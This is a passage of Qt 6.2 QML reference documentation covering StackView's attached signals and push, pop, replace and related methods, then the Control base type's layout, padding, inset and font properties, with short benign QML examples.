 By default, [StackView](qml-qtquick-controls2-stackview) shows incoming items when the enter transition begins, and hides outgoing items when the exit transition ends. Setting this property explicitly allows the default behavior to be overridden, making it possible to keep items that are below the top-most item visible.

  **Note:** The default transitions of most styles slide outgoing items outside the view, and may also animate their opacity. In order to keep a full stack of items visible, consider customizing the [transitions](qml-qtquick-controls2-stackview#transitions) so that the items underneath can be seen.

  ![]



```
StackView {
    id: stackView
    property real offset: 10
    width: 100; height: 100

    initialItem: Component {
        id: page
        Rectangle {
            property real pos: StackView.index * stackView.offset
            property real hue: Math.random()
            color: Qt.hsla(hue, 0.5, 0.8, 0.6)
            border.color: Qt.hsla(hue, 0.5, 0.5, 0.9)
            StackView.visible: true
        }
    }

    pushEnter: Transition {
        id: pushEnter
        ParallelAnimation {
            PropertyAction { property: "x"; value: pushEnter.ViewTransition.item.pos }
            NumberAnimation { properties: "y"; from: pushEnter.ViewTransition.item.pos + stackView.offset; to: pushEnter.ViewTransition.item.pos; duration: 400; easing.type: Easing.OutCubic }
            NumberAnimation { property: "opacity"; from: 0; to: 1; duration: 400; easing.type: Easing.OutCubic }
        }
    }
    popExit: Transition {
        id: popExit
        ParallelAnimation {
            PropertyAction { property: "x"; value: popExit.ViewTransition.item.pos }
            NumberAnimation { properties: "y"; from: popExit.ViewTransition.item.pos; to: popExit.ViewTransition.item.pos + stackView.offset; duration: 400; easing.type: Easing.OutCubic }
            NumberAnimation { property: "opacity"; from: 1; to: 0; duration: 400; easing.type: Easing.OutCubic }
        }
    }

    pushExit: Transition {
        id: pushExit
        PropertyAction { property: "x"; value: pushExit.ViewTransition.item.pos }
        PropertyAction { property: "y"; value: pushExit.ViewTransition.item.pos }
    }
    popEnter: Transition {
        id: popEnter
        PropertyAction { property: "x"; value: popEnter.ViewTransition.item.pos }
        PropertyAction { property: "y"; value: popEnter.ViewTransition.item.pos }
    }
}
```
 This property was introduced in QtQuick.Controls 2.2 (Qt 5.9).

 Attached Signal Documentation
-----------------------------

 ###  `[since QtQuick.Controls 2.1 (Qt 5.8)]` activated()

 This attached signal is emitted when the item it's attached to is activated in the stack.

 **Note:** The corresponding handler is `onActivated`.

 This signal was introduced in QtQuick.Controls 2.1 (Qt 5.8).

 **See also** [status](qml-qtquick-controls2-stackview#status-attached-prop).

 ###  `[since QtQuick.Controls 2.1 (Qt 5.8)]` activating()

 This attached signal is emitted when the item it's attached to is in the process of being activated in the stack.

 **Note:** The corresponding handler is `onActivating`.

 This signal was introduced in QtQuick.Controls 2.1 (Qt 5.8).

 **See also** [status](qml-qtquick-controls2-stackview#status-attached-prop).

 ###  `[since QtQuick.Controls 2.1 (Qt 5.8)]` deactivated()

 This attached signal is emitted when the item it's attached to is deactivated in the stack.

 **Note:** The corresponding handler is `onDeactivated`.

 This signal was introduced in QtQuick.Controls 2.1 (Qt 5.8).

 **See also** [status](qml-qtquick-controls2-stackview#status-attached-prop).

 ###  `[since QtQuick.Controls 2.1 (Qt 5.8)]` deactivating()

 This attached signal is emitted when the item it's attached to is in the process of being dectivated in the stack.

 **Note:** The corresponding handler is `onDeactivating`.

 This signal was introduced in QtQuick.Controls 2.1 (Qt 5.8).

 **See also** [status](qml-qtquick-controls2-stackview#status-attached-prop).

 ###  `[since QtQuick.Controls 2.1 (Qt 5.8)]` removed()

 This attached signal is emitted when the item it's attached to has been removed from the stack. It can be used to safely destroy an Item that was pushed onto the stack, for example:

 
```
Item {
    StackView.onRemoved: destroy() // Will be destroyed sometime after this call.
}
```
 **Note:** The corresponding handler is `onRemoved`.

 This signal was introduced in QtQuick.Controls 2.1 (Qt 5.8).

 **See also** [status](qml-qtquick-controls2-stackview#status-attached-prop).

 Method Documentation
--------------------

 ###  void clear(*transition*)

 Removes all items from the stack.

 Only items that [StackView](qml-qtquick-controls2-stackview) created itself (from a [Component](qml-qtqml-component) or [url](qml-url)) will be destroyed when popped. See [Item Ownership](qml-qtquick-controls2-stackview#item-ownership) for more information.

 Since [QtQuick](https://doc.qt.io/qt-6.2/qtquick-module.html).Controls 2.3, a *transition* can be optionally specified. Supported transitions:

 

| Constant | Description |
| --- | --- |
| `StackView.Immediate` | Clear the stack immediately without any transition (default). |
| `StackView.PushTransition` | Clear the stack with a push transition. |
| `StackView.ReplaceTransition` | Clear the stack with a replace transition. |
| `StackView.PopTransition` | Clear the stack with a pop transition. |

 ###  [Item](qml-qtquick-item) find(*callback*, *behavior*)

 Search for a specific item inside the stack. The *callback* function is called for each item in the stack (with the item and index as arguments) until the callback function returns `true`. The return value is the item found. For example:

 
```
stackView.find(function(item, index) {
    return item.isTheOne
})
```
 Supported *behavior* values:

 

| Constant | Description |
| --- | --- |
| `StackView.DontLoad` | Unloaded items are skipped (the callback function is not called for them). |
| `StackView.ForceLoad` | Unloaded items are forced to load. |

 ###  [Item](qml-qtquick-item) get(*index*, *behavior*)

 Returns the item at position *index* in the stack, or `null` if the index is out of bounds.

 Supported *behavior* values:

 

| Constant | Description |
| --- | --- |
| `StackView.DontLoad` | The item is not forced to load (and `null` is returned if not yet loaded). |
| `StackView.ForceLoad` | The item is forced to load. |

 ###  [Item](qml-qtquick-item) pop(*item*, *operation*)

 Pops one or more items off the stack. Returns the last item removed from the stack.

 If the *item* argument is specified, all items down to (but not including) *item* will be popped. If *item* is `null`, all items down to (but not including) the first item is popped. If not specified, only the current item is popped.

  **Note:** A pop() operation on a stack with depth 1 or 0 does nothing. In such cases, the stack can be emptied using the [clear](qml-qtquick-controls2-stackview#clear-method)() method.

  Only items that [StackView](qml-qtquick-controls2-stackview) created itself (from a [Component](qml-qtqml-component) or [url](qml-url)) will be destroyed when popped. See [Item Ownership](qml-qtquick-controls2-stackview#item-ownership) for more information.

 An *operation* can be optionally specified as the last argument. Supported operations:

 

| Constant | Description |
| --- | --- |
| `StackView.Immediate` | An immediate operation without transitions. |
| `StackView.PushTransition` | An operation with push transitions (since [QtQuick](https://doc.qt.io/qt-6.2/qtquick-module.html).Controls 2.1). |
| `StackView.ReplaceTransition` | An operation with replace transitions (since [QtQuick](https://doc.qt.io/qt-6.2/qtquick-module.html).Controls 2.1). |
| `StackView.PopTransition` | An operation with pop transitions (since [QtQuick](https://doc.qt.io/qt-6.2/qtquick-module.html).Controls 2.1). |

 If no operation is provided, `PopTransition` will be used.

 Examples:

 
```
stackView.pop()
stackView.pop(someItem, StackView.Immediate)
stackView.pop(StackView.Immediate)
stackView.pop(null)
```
 **See also** [clear](qml-qtquick-controls2-stackview#clear-method)(), [Popping Items](qml-qtquick-controls2-stackview#popping-items), and [Unwinding Items via Pop](qml-qtquick-controls2-stackview#unwinding-items-via-pop).

 ###  [Item](qml-qtquick-item) push(*item*, *properties*, *operation*)

 Pushes an *item* onto the stack using an optional *operation*, and optionally applies a set of *properties* on the item. The item can be an [Item](qml-qtquick-item), [Component](qml-qtqml-component), or a [url](qml-url). Returns the item that became current.

 [StackView](qml-qtquick-controls2-stackview) creates an instance automatically if the pushed item is a [Component](qml-qtqml-component), or a [url](qml-url), and the instance will be destroyed when it is popped off the stack. See [Item Ownership](qml-qtquick-controls2-stackview#item-ownership) for more information.

 The optional *properties* argument specifies a map of initial property values for the pushed item. For dynamically created items, these values are applied before the creation is finalized. This is more efficient than setting property values after creation, particularly where large sets of property values are defined, and also allows property bindings to be set up (using [Qt.binding](qml-qtqml-qt#binding-method)()) before the item is created.

 Pushing a single item:

 
```
stackView.push(rect)

// or with properties:
stackView.push(rect, {"color": "red"})
```
 Multiple items can be pushed at the same time either by passing them as additional arguments, or as an array. The last item becomes the current item. Each item can be followed by a set of properties to apply.

 Passing a variable amount of arguments:

 
```
stackView.push(rect1, rect2, rect3)

// or with properties:
stackView.push(rect1, {"color": "red"}, rect2, {"color": "green"}, rect3, {"color": "blue"})
```
 Pushing an array of items:

 
```
stackView.push([rect1, rect2, rect3])

// or with properties:
stackView.push([rect1, {"color": "red"}, rect2, {"color": "green"}, rect3, {"color": "blue"}])
```
 An *operation* can be optionally specified as the last argument. Supported operations:

 

| Constant | Description |
| --- | --- |
| `StackView.Immediate` | An immediate operation without transitions. |
| `StackView.PushTransition` | An operation with push transitions (since [QtQuick](https://doc.qt.io/qt-6.2/qtquick-module.html).Controls 2.1). |
| `StackView.ReplaceTransition` | An operation with replace transitions (since [QtQuick](https://doc.qt.io/qt-6.2/qtquick-module.html).Controls 2.1). |
| `StackView.PopTransition` | An operation with pop transitions (since [QtQuick](https://doc.qt.io/qt-6.2/qtquick-module.html).Controls 2.1). |

 If no operation is provided, `PushTransition` will be used.

  **Note:** Items that already exist in the stack are not pushed.

  **See also** [initialItem](qml-qtquick-controls2-stackview#initialItem-prop) and [Pushing Items](qml-qtquick-controls2-stackview#pushing-items).

 ###  [Item](qml-qtquick-item) replace(*target*, *item*, *properties*, *operation*)

 Replaces one or more items on the stack with the specified *item* and optional *operation*, and optionally applies a set of *properties* on the item. The item can be an [Item](qml-qtquick-item), [Component](qml-qtqml-component), or a [url](qml-url). Returns the item that became current.

 Only items that [StackView](qml-qtquick-controls2-stackview) created itself (from a [Component](qml-qtqml-component) or [url](qml-url)) will be destroyed when popped. See [Item Ownership](qml-qtquick-controls2-stackview#item-ownership) for more information.

 If the *target* argument is specified, all items down to the item will be replaced. If *target* is `null`, all items in the stack will be replaced. If not specified, only the top item will be replaced.

 [StackView](qml-qtquick-controls2-stackview) creates an instance automatically if the replacing item is a [Component](qml-qtqml-component), or a [url](qml-url). The optional *properties* argument specifies a map of initial property values for the replacing item. For dynamically created items, these values are applied before the creation is finalized. This is more efficient than setting property values after creation, particularly where large sets of property values are defined, and also allows property bindings to be set up (using [Qt.binding](qml-qtqml-qt#binding-method)()) before the item is created.

 Replace the top item:

 
```
stackView.replace(rect)

// or with properties:
stackView.replace(rect, {"color": "red"})
```
 Multiple items can be replaced at the same time either by passing them as additional arguments, or as an array. Each item can be followed by a set of properties to apply.

 Passing a variable amount of arguments:

 
```
stackView.replace(rect1, rect2, rect3)

// or with properties:
stackView.replace(rect1, {"color": "red"}, rect2, {"color": "green"}, rect3, {"color": "blue"})
```
 Replacing an array of items:

 
```
stackView.replace([rect1, rect2, rect3])

// or with properties:
stackView.replace([rect1, {"color": "red"}, rect2, {"color": "green"}, rect3, {"color": "blue"}])
```
 An *operation* can be optionally specified as the last argument. Supported operations:

 

| Constant | Description |
| --- | --- |
| `StackView.Immediate` | An immediate operation without transitions. |
| `StackView.PushTransition` | An operation with push transitions (since [QtQuick](https://doc.qt.io/qt-6.2/qtquick-module.html).Controls 2.1). |
| `StackView.ReplaceTransition` | An operation with replace transitions (since [QtQuick](https://doc.qt.io/qt-6.2/qtquick-module.html).Controls 2.1). |
| `StackView.PopTransition` | An operation with pop transitions (since [QtQuick](https://doc.qt.io/qt-6.2/qtquick-module.html).Controls 2.1). |

 If no operation is provided, `ReplaceTransition` will be used.

 The following example illustrates the use of push and pop transitions with replace().

 
```
StackView {
    id: stackView

    initialItem: Component {
        id: page

        Page {
            Row {
                spacing: 20
                anchors.centerIn: parent

                Button {
                    text: "<"
                    onClicked: stackView.replace(page, StackView.PopTransition)
                }
                Button {
                    text: ">"
                    onClicked: stackView.replace(page, StackView.PushTransition)
                }
            }
        }
    }
}
```
 **See also** [push](qml-qtquick-controls2-stackview#push-method)() and [Replacing Items](qml-qtquick-controls2-stackview#replacing-items).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-controls2-stackview.html>

Control QML Type
================

 Abstract base type providing functionality common to all controls. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick.Controls |
|  Since: |  Qt 5.7 |
|  Inherits: | [Item](qml-qtquick-item) |
|  Inherited By: | [AbstractButton](qml-qtquick-controls2-abstractbutton), [BusyIndicator](qml-qtquick-controls2-busyindicator), [ComboBox](qml-qtquick-controls2-combobox), [Container](qml-qtquick-controls2-container), [Dial](qml-qtquick-controls2-dial), [MenuSeparator](qml-qtquick-controls2-menuseparator), [PageIndicator](qml-qtquick-controls2-pageindicator), [Pane](qml-qtquick-controls2-pane), [ProgressBar](qml-qtquick-controls2-progressbar), [RangeSlider](qml-qtquick-controls2-rangeslider), [ScrollBar](qml-qtquick-controls2-scrollbar), [ScrollIndicator](qml-qtquick-controls2-scrollindicator), [SelectionRectangle](qml-qtquick-controls2-selectionrectangle), [Slider](qml-qtquick-controls2-slider), [SpinBox](qml-qtquick-controls2-spinbox), [StackView](qml-qtquick-controls2-stackview), [ToolSeparator](qml-qtquick-controls2-toolseparator), and [Tumbler](qml-qtquick-controls2-tumbler) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-controls2-control-members.html)

 Properties
----------

 * **[availableHeight](qml-qtquick-controls2-control#availableHeight-prop)** : real
* **[availableWidth](qml-qtquick-controls2-control#availableWidth-prop)** : real
* **[background](qml-qtquick-controls2-control#background-prop)** : Item
* **[bottomInset](qml-qtquick-controls2-control#bottomInset-prop)** : real
* **[bottomPadding](qml-qtquick-controls2-control#bottomPadding-prop)** : real
* **[contentItem](qml-qtquick-controls2-control#contentItem-prop)** : Item
* **[focusPolicy](qml-qtquick-controls2-control#focusPolicy-prop)** : enumeration
* **[focusReason](qml-qtquick-controls2-control#focusReason-prop)** : enumeration
* **[font](qml-qtquick-controls2-control#font-prop)** : font
* **[horizontalPadding](qml-qtquick-controls2-control#horizontalPadding-prop)** : real
* **[hoverEnabled](qml-qtquick-controls2-control#hoverEnabled-prop)** : bool
* **[hovered](qml-qtquick-controls2-control#hovered-prop)** : bool
* **[implicitBackgroundHeight](qml-qtquick-controls2-control#implicitBackgroundHeight-prop)** : real
* **[implicitBackgroundWidth](qml-qtquick-controls2-control#implicitBackgroundWidth-prop)** : real
* **[implicitContentHeight](qml-qtquick-controls2-control#implicitContentHeight-prop)** : real
* **[implicitContentWidth](qml-qtquick-controls2-control#implicitContentWidth-prop)** : real
* **[leftInset](qml-qtquick-controls2-control#leftInset-prop)** : real
* **[leftPadding](qml-qtquick-controls2-control#leftPadding-prop)** : real
* **[locale](qml-qtquick-controls2-control#locale-prop)** : Locale
* **[mirrored](qml-qtquick-controls2-control#mirrored-prop)** : bool
* **[padding](qml-qtquick-controls2-control#padding-prop)** : real
* **[rightInset](qml-qtquick-controls2-control#rightInset-prop)** : real
* **[rightPadding](qml-qtquick-controls2-control#rightPadding-prop)** : real
* **[spacing](qml-qtquick-controls2-control#spacing-prop)** : real
* **[topInset](qml-qtquick-controls2-control#topInset-prop)** : real
* **[topPadding](qml-qtquick-controls2-control#topPadding-prop)** : real
* **[verticalPadding](qml-qtquick-controls2-control#verticalPadding-prop)** : real
* **[visualFocus](qml-qtquick-controls2-control#visualFocus-prop)** : bool
* **[wheelEnabled](qml-qtquick-controls2-control#wheelEnabled-prop)** : bool

 Detailed Description
--------------------

 Control is the base type of user interface controls. It receives input events from the window system, and paints a representation of itself on the screen.

 Control Layout
--------------

 The following diagram illustrates the layout of a typical control:

 ![]


The [implicitWidth](qml-qtquick-item#implicitWidth-prop) and [implicitHeight](qml-qtquick-item#implicitHeight-prop) of a control are typically based on the implicit sizes of the background and the content item plus any insets and paddings. These properties determine how large the control will be when no explicit [width](qml-qtquick-item#width-prop) or [height](qml-qtquick-item#height-prop) is specified.

 The geometry of the [contentItem](qml-qtquick-controls2-control#contentItem-prop) is determined by the padding. The following example reserves 10px padding between the boundaries of the control and its content:

 
```
Control {
    padding: 10

    contentItem: Text {
        text: "Content"
    }
}
```
 The [background](qml-qtquick-controls2-control#background-prop) item fills the entire width and height of the control, unless insets or an explicit size have been given for it. Background insets are useful for extending the touchable/interactive area of a control without affecting its visual size. This is often used on touch devices to ensure that a control is not too small to be interacted with by the user. Insets affect the size of the control, and hence will affect how much space they take up in a layout, for example.

 Negative insets can be used to make the background larger than the control. The following example uses negative insets to place a shadow outside the control's boundaries:

 
```
Control {
    topInset: -2
    leftInset: -2
    rightInset: -6
    bottomInset: -6

    background: BorderImage {
        source: ":/images/shadowed-background.png"
    }
}
```
 Event Handling
--------------

 All controls, except non-interactive indicators, do not let clicks and touches through to items below them. For example, the `console.log()` call in the example below will never be executed when clicking on the Pane, because the [MouseArea](qml-qtquick-mousearea) is below it in the scene:

 
```
MouseArea {
    anchors.fill: parent
    onClicked: console.log("MouseArea was clicked")

    Pane {
        anchors.fill: parent
    }
}
```
 **See also** [ApplicationWindow](qtquickcontrols-changes-qt6#applicationwindow), [Container](qtquickcontrols-changes-qt6#container), and [Using Qt Quick Controls types in property declarations](https://doc.qt.io/qt-6.2/qtquick-controls2-qmlmodule.html#using-qt-quick-controls-types-in-property-declarations).

 Property Documentation
----------------------

 ###  [read-only] availableHeight : [real](qml-real)

 This property holds the height available to the [contentItem](qml-qtquick-controls2-control#contentItem-prop) after deducting vertical padding from the [height](qml-qtquick-item#height-prop) of the control.

 **See also** [Control Layout](qml-qtquick-controls2-control#control-layout), [padding](qml-qtquick-controls2-control#padding-prop), [topPadding](qml-qtquick-controls2-control#topPadding-prop), and [bottomPadding](qml-qtquick-controls2-control#bottomPadding-prop).

 ###  [read-only] availableWidth : [real](qml-real)

 This property holds the width available to the [contentItem](qml-qtquick-controls2-control#contentItem-prop) after deducting horizontal padding from the [width](qml-qtquick-item#width-prop) of the control.

 **See also** [Control Layout](qml-qtquick-controls2-control#control-layout), [padding](qml-qtquick-controls2-control#padding-prop), [leftPadding](qml-qtquick-controls2-control#leftPadding-prop), and [rightPadding](qml-qtquick-controls2-control#rightPadding-prop).

 ###  background : [Item](qml-qtquick-item)

 This property holds the background item.

 
```
Button {
    id: control
    text: qsTr("Button")
    background: Rectangle {
        implicitWidth: 100
        implicitHeight: 40
        opacity: enabled ? 1 : 0.3
        color: control.down ? "#d0d0d0" : "#e0e0e0"
    }
}
```
  **Note:** If the background item has no explicit size specified, it automatically follows the control's size. In most cases, there is no need to specify width or height for a background item.

   **Note:** Most controls use the implicit size of the background item to calculate the implicit size of the control itself. If you replace the background item with a custom one, you should also consider providing a sensible implicit size for it (unless it is an item like [Image](qml-qtquick-image) which has its own implicit size).

  **See also** [Control Layout](qml-qtquick-controls2-control#control-layout).

 ###  [since QtQuick.Controls 2.5 (Qt 5.12)] bottomInset : [real](qml-real)

 This property holds the bottom inset for the background.

 This property was introduced in QtQuick.Controls 2.5 (Qt 5.12).

 **See also** [Control Layout](qml-qtquick-controls2-control#control-layout) and [topInset](qml-qtquick-controls2-control#topInset-prop).

 ###  bottomPadding : [real](qml-real)

 This property holds the bottom padding. Unless explicitly set, the value is equal to `verticalPadding`.

 **See also** [Control Layout](qml-qtquick-controls2-control#control-layout), [padding](qml-qtquick-controls2-control#padding-prop), [topPadding](qml-qtquick-controls2-control#topPadding-prop), [verticalPadding](qml-qtquick-controls2-control#verticalPadding-prop), and [availableHeight](qml-qtquick-controls2-control#availableHeight-prop).

 ###  contentItem : [Item](qml-qtquick-item)

 This property holds the visual content item.

 
```
Button {
    id: control
    text: qsTr("Button")
    contentItem: Label {
        text: control.text
        font: control.font
        verticalAlignment: Text.AlignVCenter
    }
}
```
  **Note:** The content item is automatically positioned and resized to fit within the [padding](qml-qtquick-controls2-control#padding-prop) of the control. Bindings to the [x](qml-qtquick-item#x-prop), [y](qml-qtquick-item#y-prop), [width](qml-qtquick-item#width-prop), and [height](qml-qtquick-item#height-prop) properties of the contentItem are not respected.

   **Note:** Most controls use the implicit size of the content item to calculate the implicit size of the control itself. If you replace the content item with a custom one, you should also consider providing a sensible implicit size for it (unless it is an item like [Text](qml-qtquick-text) which has its own implicit size).

  **See also** [Control Layout](qml-qtquick-controls2-control#control-layout) and [padding](qml-qtquick-controls2-control#padding-prop).

 ###  focusPolicy : [enumeration](qml-enumeration)

 This property determines the way the control accepts focus.

 

| Constant | Description |
| --- | --- |
| `Qt.TabFocus` | The control accepts focus by tabbing. |
| `Qt.ClickFocus` | The control accepts focus by clicking. |
| `Qt.StrongFocus` | The control accepts focus by both tabbing and clicking. |
| `Qt.WheelFocus` | The control accepts focus by tabbing, clicking, and using the mouse wheel. |
| `Qt.NoFocus` | The control does not accept focus. |

 ###  [read-only] focusReason : [enumeration](qml-enumeration)

 This property holds the reason of the last focus change.

  **Note:** This property does not indicate whether the control has [active focus](qml-qtquick-item#activeFocus-prop), but the reason why the control either gained or lost focus.

  

| Constant | Description |
| --- | --- |
| `Qt.MouseFocusReason` | A mouse action occurred. |
| `Qt.TabFocusReason` | The Tab key was pressed. |
| `Qt.BacktabFocusReason` | A Backtab occurred. The input for this may include the Shift or Control keys; e.g. Shift+Tab. |
| `Qt.ActiveWindowFocusReason` | The window system made this window either active or inactive. |
| `Qt.PopupFocusReason` | The application opened/closed a pop-up that grabbed/released the keyboard focus. |
| `Qt.ShortcutFocusReason` | The user typed a label's buddy shortcut |
| `Qt.MenuBarFocusReason` | The menu bar took focus. |
| `Qt.OtherFocusReason` | Another reason, usually application-specific. |

 **See also** [Item::activeFocus](qml-qtquick-item#activeFocus-prop) and [visualFocus](qml-qtquick-controls2-control#visualFocus-prop).

 ###  font : [font](qml-font)

 This property holds the font currently set for the control.

 This property describes the control's requested font. The font is used by the control's style when rendering standard components, and is available as a means to ensure that custom controls can maintain consistency with the native platform's native look and feel. It's common that different platforms, or different styles, define different fonts for an application.

 The default font depends on the system environment. [ApplicationWindow](qml-qtquick-controls2-applicationwindow) maintains a system/theme font which serves as a default for all controls. There may also be special font defaults for certain types of controls. You can also set the default font for controls by either:

 * passing a custom font to [QGuiApplication::setFont](qguiapplication#setFont)(), before loading the QML; or
* specifying the fonts in the [qtquickcontrols2.conf file](qtquickcontrols2-configuration).

 Finally, the font is matched against Qt's font database to find the best match.

 Control propagates explicit font properties from parent to children. If you change a specific property on a control's font, that property propagates to all of the control's children, overriding any system defaults for that property.

 
```
Page {
    font.family: "Courier"

    Column {
        Label {
            text: qsTr("This will use Courier...")
        }

        Switch {
            text: qsTr("... and so will this")
        }
    }
}
```
 For the full list of available font properties, see the [font QML Basic Type](qml-font) documentation.

 ###  [since QtQuick.Controls 2.5 (Qt 5.12)] horizontalPadding : [real](qml-real)

 This property holds the horizontal padding. Unless explicitly set, the value is equal to `padding`.

 This property was introduced in QtQuick.Controls 2.5 (Qt 5.12).

 **See also** [Control Layout](qml-qtquick-controls2-control#control-layout), [padding](qml-qtquick-controls2-control#padding-prop), [leftPadding](qml-qtquick-controls2-control#leftPadding-prop), [rightPadding](qml-qtquick-controls2-control#rightPadding-prop), and [verticalPadding](qml-qtquick-controls2-control#verticalPadding-prop).

 ###  hoverEnabled : [bool](qml-bool)

 This property determines whether the control accepts hover events. The default value is `Qt.styleHints.useHoverEffects`.

 Setting this property propagates the value to all child controls that do not have `hoverEnabled` explicitly set.

 You can also enable or disable hover effects for all Qt Quick Controls applications by setting the `QT_QUICK_CONTROLS_HOVER_ENABLED` [environment variable](qtquickcontrols2-environment).

 **See also** [hovered](qml-qtquick-controls2-control#hovered-prop).

 ###  [read-only] hovered : [bool](qml-bool)

 This property holds whether the control is hovered.

 **See also** [hoverEnabled](qml-qtquick-controls2-control#hoverEnabled-prop).

 ###  [read-only, since QtQuick.Controls 2.5 (Qt 5.12)] implicitBackgroundHeight : [real](qml-real)

 This property holds the implicit background height.

 The value is equal to `background ? background.implicitHeight : 0`.

 This is typically used, together with [implicitContentHeight](qml-qtquick-controls2-control#implicitContentHeight-prop), to calculate the [implicitHeight](qml-qtquick-item#implicitHeight-prop):

 
```
Control {
    implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset,
                             implicitContentHeight + topPadding + bottomPadding)
}
```
 This property was introduced in QtQuick.Controls 2.5 (Qt 5.12).

 **See also** [implicitBackgroundWidth](qml-qtquick-controls2-control#implicitBackgroundWidth-prop) and [implicitContentHeight](qml-qtquick-controls2-control#implicitContentHeight-prop).

 ###  [read-only, since QtQuick.Controls 2.5 (Qt 5.12)] implicitBackgroundWidth : [real](qml-real)

 This property holds the implicit background width.

 The value is equal to `background ? background.implicitWidth : 0`.

 This is typically used, together with [implicitContentWidth](qml-qtquick-controls2-control#implicitContentWidth-prop), to calculate the [implicitWidth](qml-qtquick-item#implicitWidth-prop):

 
```
Control {
    implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset,
                            implicitContentWidth + leftPadding + rightPadding)
}
```
 This property was introduced in QtQuick.Controls 2.5 (Qt 5.12).

 **See also** [implicitBackgroundHeight](qml-qtquick-controls2-control#implicitBackgroundHeight-prop) and [implicitContentWidth](qml-qtquick-controls2-control#implicitContentWidth-prop).

 ###  [read-only, since QtQuick.Controls 2.5 (Qt 5.12)] implicitContentHeight : [real](qml-real)

 This property holds the implicit content height.

 For basic controls, the value is equal to `contentItem ? contentItem.implicitHeight : 0`. For types that inherit Container or Pane, the value is calculated based on the content children.

 This is typically used, together with [implicitBackgroundHeight](qml-qtquick-controls2-control#implicitBackgroundHeight-prop), to calculate the [implicitHeight](qml-qtquick-item#implicitHeight-prop):

 
```
Control {
    implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset,
                             implicitContentHeight + topPadding + bottomPadding)
}
```
 This property was introduced in QtQuick.Controls 2.5 (Qt 5.12).

 **See also** [implicitContentWidth](qml-qtquick-controls2-control#implicitContentWidth-prop) and [implicitBackgroundHeight](qml-qtquick-controls2-control#implicitBackgroundHeight-prop).

 ###  [read-only, since QtQuick.Controls 2.5 (Qt 5.12)] implicitContentWidth : [real](qml-real)

 This property holds the implicit content width.

 For basic controls, the value is equal to `contentItem ? contentItem.implicitWidth : 0`. For types that inherit Container or Pane, the value is calculated based on the content children.

 This is typically used, together with [implicitBackgroundWidth](qml-qtquick-controls2-control#implicitBackgroundWidth-prop), to calculate the [implicitWidth](qml-qtquick-item#implicitWidth-prop):

 
```
Control {
    implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset,
                            implicitContentWidth + leftPadding + rightPadding)
}
```
 This property was introduced in QtQuick.Controls 2.5 (Qt 5.12).

 **See also** [implicitContentHeight](qml-qtquick-controls2-control#implicitContentHeight-prop) and [implicitBackgroundWidth](qml-qtquick-controls2-control#implicitBackgroundWidth-prop).

 ###  [since QtQuick.Controls 2.5 (Qt 5.12)] leftInset : [real](qml-real)

 This property holds the left inset for the background.

 This property was introduced in QtQuick.Controls 2.5 (Qt 5.12).

 **See also** [Control Layout](qml-qtquick-controls2-control#control-layout) and [rightInset](qml-qtquick-controls2-control#rightInset-prop).

 ###  leftPadding : [real](qml-real)

 This property holds the left padding. Unless explicitly set, the value is equal to `horizontalPadding`.

 **See also** [Control Layout](qml-qtquick-controls2-control#control-layout), [padding](qml-qtquick-controls2-control#padding-prop), [rightPadding](qml-qtquick-controls2-control#rightPadding-prop), [horizontalPadding](qml-qtquick-controls2-control#horizontalPadding-prop), and [availableWidth](qml-qtquick-controls2-control#availableWidth-prop).

 ###  locale : [Locale](qml-qtqml-locale)

 This property holds the locale of the control.

 It contains locale specific properties for formatting data and numbers. Unless a special locale has been set, this is either the parent's locale or the default locale.

 Control propagates the locale from parent to children. If you change the control's locale, that locale propagates to all of the control's children, overriding the system default locale.

 **See also** [mirrored](qml-qtquick-controls2-control#mirrored-prop).

 ###  [read-only] mirrored : [bool](qml-bool)

 This property holds whether the control is mirrored.

 This property is provided for convenience. A control is considered mirrored when its visual layout direction is right-to-left; that is, when [LayoutMirroring.enabled](qml-qtquick-layoutmirroring#enabled-prop) is `true`.

 As of Qt 6.2, the [locale](qml-qtquick-controls2-control#locale-prop) property no longer affects this property.

 **See also** [LayoutMirroring](qml-qtquick-layoutmirroring) and [Right-to-left User Interfaces](qtquick-positioning-righttoleft).

 ###  padding : [real](qml-real)

 This property holds the default padding.

 Padding adds a space between each edge of the content item and the background item, effectively controlling the size of the content item. To specify a padding value for a specific edge of the control, set its relevant property:

 * [leftPadding](qml-qtquick-controls2-control#leftPadding-prop)
* [rightPadding](qml-qtquick-controls2-control#rightPadding-prop)
* [topPadding](qml-qtquick-controls2-control#topPadding-prop)
* [bottomPadding](qml-qtquick-controls2-control#bottomPadding-prop)

  **Note:** Different styles may specify the default padding for certain controls in different ways, and these ways may change over time as the design guidelines that the style is based on evolve. To ensure that these changes don't affect the padding values you have specified, it is best to use the most specific properties available. For example, rather than setting the padding property:

  
```
padding: 0
```
 set each specific property instead:

 
```
leftPadding: 0
rightPadding: 0
topPadding: 0
bottomPadding: 0
```
 **See also** [Control Layout](qml-qtquick-controls2-control#control-layout), [availableWidth](qml-qtquick-controls2-control#availableWidth-prop), [availableHeight](qml-qtquick-controls2-control#availableHeight-prop), [topPadding](qml-qtquick-controls2-control#topPadding-prop), [leftPadding](qml-qtquick-controls2-control#leftPadding-prop), [rightPadding](qml-qtquick-controls2-control#rightPadding-prop), and [bottomPadding](qml-qtquick-controls2-control#bottomPadding-prop).

 ###  [since QtQuick.Controls 2.5 (Qt 5.12)] rightInset : [real](qml-real)

 This property holds the right inset for the background.

 This property was introduced in QtQuick.Controls 2.5 (Qt 5.12).

 **See also** [Control Layout](qml-qtquick-controls2-control#control-layout) and [leftInset](qml-qtquick-controls2-control#leftInset-prop).

 ###  rightPadding : [real](qml-real)

 This property holds the right padding. Unless explicitly set, the value is equal to `horizontalPadding`.

 **See also** [Control Layout](qml-qtquick-controls2-control#control-layout), [padding](qml-qtquick-controls2-control#padding-prop), [leftPadding](qml-qtquick-controls2-control#leftPadding-prop), [horizontalPadding](qml-qtquick-controls2-control#horizontalPadding-prop), and [availableWidth](qml-qtquick-controls2-control#availableWidth-prop).

 ###  spacing : [real](qml-real)

 This property holds the spacing.

